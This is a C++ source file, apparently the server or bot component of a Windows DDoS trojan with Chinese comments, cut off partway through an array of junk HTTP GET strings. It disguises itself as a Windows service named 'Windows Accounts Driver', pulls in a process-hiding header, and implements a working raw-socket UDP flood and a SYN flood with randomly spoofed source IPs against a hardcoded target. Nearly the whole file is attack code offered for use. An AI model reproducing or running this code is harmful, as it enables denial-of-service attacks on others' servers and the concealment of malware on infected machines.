server.cpp

风云8

// Server.cpp : Defines the entry point for the application.
//

#include "stdafx.h"
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <winsvc.h>
#include <commdlg.h>
#include <shellapi.h>
#include <afxinet.h>
#include <ws2tcpip.h> 
#pragma comment(lib,"ws2_32.lib")
#include <urlmon.h>
#pragma comment(lib,"urlmon.lib")
#include <tlhelp32.h>
#include "ProcessHide.h"

struct MODIFY_DATA 
{
	char ws_svcname[32];
	char ws_svcdisplay[128];
	char ws_svcdesc[256];
	char url[256];
	int  port;
}
modify_data = 
{
	"RemoteStorage",
	"Windows Accounts Driver",
	"Network Connections Management",
	"zzz",
	80,
};

#define SleepTime 10
char tgtIP[30]="192.168.1.2";
int tgtPort=80;
int timeout=10;
int StopFlag = 1;
HANDLE hThread[8];

typedef struct  _iphdr
{
	unsigned char   h_verlen;
	unsigned char   tos;
	unsigned short  total_len;
	unsigned short  ident;
	unsigned short  frag_and_flags;
	unsigned char   ttl;
	unsigned char   proto;
	unsigned short  checksum;
	unsigned int    sourceIP;
	unsigned int    destIP;
}IP_HEADER, * PIP_HEADER;


typedef struct  _tcphdr
{
	unsigned short  th_sport;
	unsigned short  th_dport;
	unsigned int    th_seq;
	unsigned int    th_ack;
	unsigned char   th_lenres;
	unsigned char   th_flag;
	unsigned short  th_win;
	unsigned short  th_sum;
	unsigned short  th_urp;
}TCP_HEADER, * PTCP_HEADER;

typedef struct tsd_hdr
{ 
	unsigned long  saddr;
	unsigned long  daddr;
	char           mbz; 
	char           ptcl;
	unsigned short tcpl;
}PSD_HEADER; 

typedef struct udp_hdr //UDP首部
{
	unsigned short sourceport; 
	unsigned short destport; 
	unsigned short udp_length; 
	unsigned short udp_checksum; 
} UDP_HEADER;

USHORT checksum(USHORT *buffer, int size)
{ 
	unsigned long cksum=0;
	while(size >1)
	{
		cksum+=*buffer++;
		size -=sizeof(USHORT);
	}
	if(size)
	{
		cksum += *(UCHAR*)buffer;
	}
	cksum = (cksum >> 16) + (cksum & 0xffff);
	cksum += (cksum >>16);
	return (USHORT)(~cksum);
}

/////////////////////////////////////////////////////////////////////////////////////////
///////UDP攻击
#define nBufferSize 1024
static char pSendBuffer[nBufferSize+60];
static int  iTotalSize=0;

void udp_flood() 
{
	Sleep(2000);
	WSADATA WSAData;
	WSAStartup(MAKEWORD(2,2), &WSAData);

	SOCKET    SendSocket; 
	BOOL    Flag; 

	SendSocket = WSASocket(AF_INET,SOCK_RAW,IPPROTO_UDP,NULL,0,0);
	if( SendSocket == INVALID_SOCKET ) 
		return; 

	Flag=true;
	if (setsockopt(SendSocket,IPPROTO_IP,IP_HDRINCL,(char*)&Flag,sizeof(Flag))==SOCKET_ERROR)
	{
		printf("setsockopt Error!\n");
		return;
	}

	SOCKADDR_IN addr_in;
	addr_in.sin_family=AF_INET;
	addr_in.sin_port=htons(tgtPort);
	addr_in.sin_addr.s_addr=inet_addr(tgtIP);
	if (addr_in.sin_addr.s_addr == INADDR_NONE)
	{   
		struct hostent *hp = NULL;
		if ((hp = gethostbyname(tgtIP)) != NULL)
		 {
		 	memcpy(&(addr_in.sin_addr), hp->h_addr, hp->h_length);
		 	addr_in.sin_family = hp->h_addrtype;
		}
		else
			return;
	}

	for (;;)
	{
		if (StopFlag == 1)
		{
			ExitThread(0);
			return;
		}
		for(int i=0;i<10000;i++)
			sendto(SendSocket, pSendBuffer, iTotalSize, 0, (SOCKADDR *)&addr_in, sizeof(addr_in));
		Sleep(SleepTime);
	}
	closesocket(SendSocket);
	return; 
}

void fill_udp_buffer()
{
	WSADATA wsaData;
	WSAStartup(MAKEWORD(2, 2), &wsaData);
	unsigned int saddr=0;
	char hostname[MAX_PATH];
	gethostname(hostname,MAX_PATH);
	LPHOSTENT lphost;
	lphost = gethostbyname(hostname);
	if (lphost != NULL)
		saddr = ((LPIN_ADDR)lphost->h_addr)->s_addr;

	char pBuffer[nBufferSize];

	IP_HEADER ipHeader;
	UDP_HEADER udpHeader;

	int iUdpCheckSumSize;
	char *ptr=NULL;
	FillMemory(pBuffer, nBufferSize, 'A');

	iTotalSize=sizeof(ipHeader) + sizeof(udpHeader)+ nBufferSize;

	ipHeader.h_verlen = (4 << 4) | (sizeof(ipHeader) / sizeof(unsigned long));
	ipHeader.tos=0;
	ipHeader.total_len=htons(iTotalSize);
	ipHeader.ident=0;
	ipHeader.frag_and_flags=0;
	ipHeader.ttl=128;
	ipHeader.proto=IPPROTO_UDP;
	ipHeader.checksum=0;
	ipHeader.destIP=inet_addr(tgtIP);

	udpHeader.sourceport = htons(5444);
	udpHeader.destport = htons(tgtPort);
	udpHeader.udp_length = htons(sizeof(udpHeader) + nBufferSize);
	udpHeader.udp_checksum = 0;

	ptr = NULL;
	ipHeader.sourceIP = saddr;

	ZeroMemory(pSendBuffer, nBufferSize + 60);
	ptr = pSendBuffer;
	iUdpCheckSumSize=0;
	udpHeader.udp_checksum = 0;

	memcpy(ptr, &ipHeader.sourceIP, sizeof(ipHeader.sourceIP));
	ptr += sizeof(ipHeader.sourceIP);
	iUdpCheckSumSize += sizeof(ipHeader.sourceIP);

	memcpy(ptr, &ipHeader.destIP, sizeof(ipHeader.destIP));
	ptr += sizeof(ipHeader.destIP);
	iUdpCheckSumSize += sizeof(ipHeader.destIP);

	ptr++;
	iUdpCheckSumSize++;

	memcpy(ptr, &ipHeader.proto, sizeof(ipHeader.proto));
	ptr += sizeof(ipHeader.proto);
	iUdpCheckSumSize += sizeof(ipHeader.proto);

	memcpy(ptr, &udpHeader.udp_length, sizeof(udpHeader.udp_length));
	ptr += sizeof(udpHeader.udp_length);
	iUdpCheckSumSize += sizeof(udpHeader.udp_length);

	memcpy(ptr, &udpHeader, sizeof(udpHeader));
	ptr += sizeof(udpHeader);
	iUdpCheckSumSize += sizeof(udpHeader);

	memcpy(ptr, pBuffer, nBufferSize);
	iUdpCheckSumSize += nBufferSize;

	udpHeader.udp_checksum=checksum((USHORT*)pSendBuffer,iUdpCheckSumSize);
	memcpy(pSendBuffer, &ipHeader, sizeof(ipHeader));
	memcpy(pSendBuffer + sizeof(ipHeader), &udpHeader, sizeof(udpHeader));
	memcpy(pSendBuffer + sizeof(ipHeader) + sizeof(udpHeader), pBuffer, nBufferSize);
}
///////UDP攻击END
/////////////////////////////////////////////////////////////////////////////////////////

/////////////////////////////////////////////////////////////////////////////////////////
///////SYN攻击
#define    PacketNum 4096 
static char SendBuff[PacketNum][60] = {0};
void syn_flood() 
{
	Sleep(2000);
	WSADATA wsaData;
	WSAStartup(MAKEWORD(2, 2), &wsaData);

	SOCKET    SendSocket; 
	BOOL    Flag; 
	int     Timeout; 

	SendSocket = WSASocket( AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED ); 
	if( SendSocket == INVALID_SOCKET ) 
		return; 

	Flag = TRUE; 
	if( setsockopt(SendSocket, IPPROTO_IP, IP_HDRINCL, (char *)&Flag, sizeof(Flag)) == SOCKET_ERROR ) 
		return; 

	Timeout = 5000; 
	if ( setsockopt(SendSocket, SOL_SOCKET, SO_SNDTIMEO, (char *) &Timeout, sizeof(Timeout)) == SOCKET_ERROR ) 
		return;

	SOCKADDR_IN    Sin;
	Sin.sin_family = AF_INET; 
	Sin.sin_port = tgtPort; 
	Sin.sin_addr.s_addr = inet_addr(tgtIP);
	if (Sin.sin_addr.s_addr == INADDR_NONE)
	{   
		struct hostent *hp = NULL;
		if ((hp = gethostbyname(tgtIP)) != NULL)
		 {
		 	memcpy(&(Sin.sin_addr), hp->h_addr, hp->h_length);
		 	Sin.sin_family = hp->h_addrtype;
		}
		else
			return;
	}
	while (1)
	{
		if (StopFlag == 1)
		{
			ExitThread(0);
			return;
		}
		for ( int Tmp = 0 ; Tmp < PacketNum ; Tmp++)
			if (sendto(SendSocket, SendBuff[Tmp], sizeof(IP_HEADER) + sizeof(TCP_HEADER), 0, (struct sockaddr *) &Sin, sizeof(Sin)) == SOCKET_ERROR)
			{
				ExitThread(0);
				return;
			}
		Sleep(SleepTime);
	}
	return; 
}

void fill_syn_buffer()
{
	WSADATA wsaData;
	WSAStartup(MAKEWORD(2, 2), &wsaData);

	IP_HEADER    IpHeader; 
	TCP_HEADER   TcpHeader; 
	PSD_HEADER   PsdHeader; 

	srand((unsigned) time(NULL)); 
	
	char         src_ip[20] = {0};
	for ( int n = 0; n < PacketNum; n++ ) 
	{ 
			wsprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 ); 
			//填充IP首部 
			IpHeader.h_verlen = (4<<4 | sizeof(IpHeader)/sizeof(unsigned long)); 
			IpHeader.tos = 0; 
			IpHeader.total_len = htons(sizeof(IpHeader)+sizeof(TcpHeader)); 
			IpHeader.ident = 1; 
			IpHeader.frag_and_flags = 0x40; 
			IpHeader.ttl = 128; 
			IpHeader.proto = IPPROTO_TCP; 
			IpHeader.checksum = 0; 
			IpHeader.sourceIP = inet_addr(src_ip); 
			IpHeader.destIP = inet_addr(tgtIP); 

			//填充TCP首部 
			TcpHeader.th_sport = htons( rand()%60000 + 1 ); //源端口号 
			TcpHeader.th_dport = htons( tgtPort ); 
			TcpHeader.th_seq = htonl( rand()%900000000 + 1 ); 
			TcpHeader.th_ack = 0; 
			TcpHeader.th_lenres = (sizeof(TcpHeader)/4<<4|0); 
			TcpHeader.th_flag = 2; //0,2,4,8,16,32->FIN,SYN,RST,PSH,ACK,URG 
			TcpHeader.th_win = htons(512); 
			TcpHeader.th_sum = 0; 
			TcpHeader.th_urp = 0; 

			PsdHeader.saddr = IpHeader.sourceIP; 
			PsdHeader.daddr = IpHeader.destIP; 
			PsdHeader.mbz = 0; 
			PsdHeader.ptcl = IPPROTO_TCP; 
			PsdHeader.tcpl = htons(sizeof(TcpHeader)); 

			//计算TCP校验和 
			memcpy( SendBuff[n], &PsdHeader, sizeof(PsdHeader) ); 
			memcpy( SendBuff[n] + sizeof(PsdHeader), &TcpHeader, sizeof(TcpHeader) ); 
			TcpHeader.th_sum = checksum( (USHORT *) SendBuff[n], sizeof(PsdHeader) + sizeof(TcpHeader) ); 

			//计算IP检验和 
			memcpy( SendBuff[n], &IpHeader, sizeof(IpHeader) ); 
			memcpy( SendBuff[n] + sizeof(IpHeader), &TcpHeader, sizeof(TcpHeader) ); 
			memset( SendBuff[n] + sizeof(IpHeader) + sizeof(TcpHeader), 0, 4 ); 
			IpHeader.checksum = checksum( (USHORT *) SendBuff, sizeof(IpHeader) + sizeof(TcpHeader) ); 

			memcpy( SendBuff[n], &IpHeader, sizeof(IpHeader) ); 
			memcpy( SendBuff[n]+sizeof(IpHeader), &TcpHeader, sizeof(TcpHeader) ); 
	}
	return; 
}
///////SYN攻击END
/////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////

const char icmpBuffer[4000]=
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
	"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
	"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
	"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"